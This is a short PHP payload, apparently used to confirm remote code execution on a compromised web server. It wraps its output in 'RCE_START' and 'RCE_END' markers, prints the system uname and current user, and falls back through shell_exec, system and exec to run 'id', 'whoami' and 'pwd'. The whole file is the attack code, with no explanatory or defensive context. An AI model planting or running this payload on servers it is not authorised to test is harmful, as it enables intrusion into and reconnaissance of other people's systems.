<?php echo "RCE_START|";echo "UNAME:" . php_uname() . "|";echo "USER:" . get_current_user() . "|";if(function_exists("shell_exec")){  echo "ID:" . shell_exec("id") . "|";  echo "WHOAMI:" . shell_exec("whoami") . "|";  echo "PWD:" . shell_exec("pwd") . "|";}elseif(function_exists("system")){  echo "ID:"; system("id"); echo "|";  echo "WHOAMI:"; system("whoami"); echo "|";}elseif(function_exists("exec")){  exec("id", $o); echo "ID:" . implode(" ",$o) . "|";  exec("whoami", $w); echo "WHOAMI:" . implode(" ",$w) . "|";}echo "|RCE_END"; ?>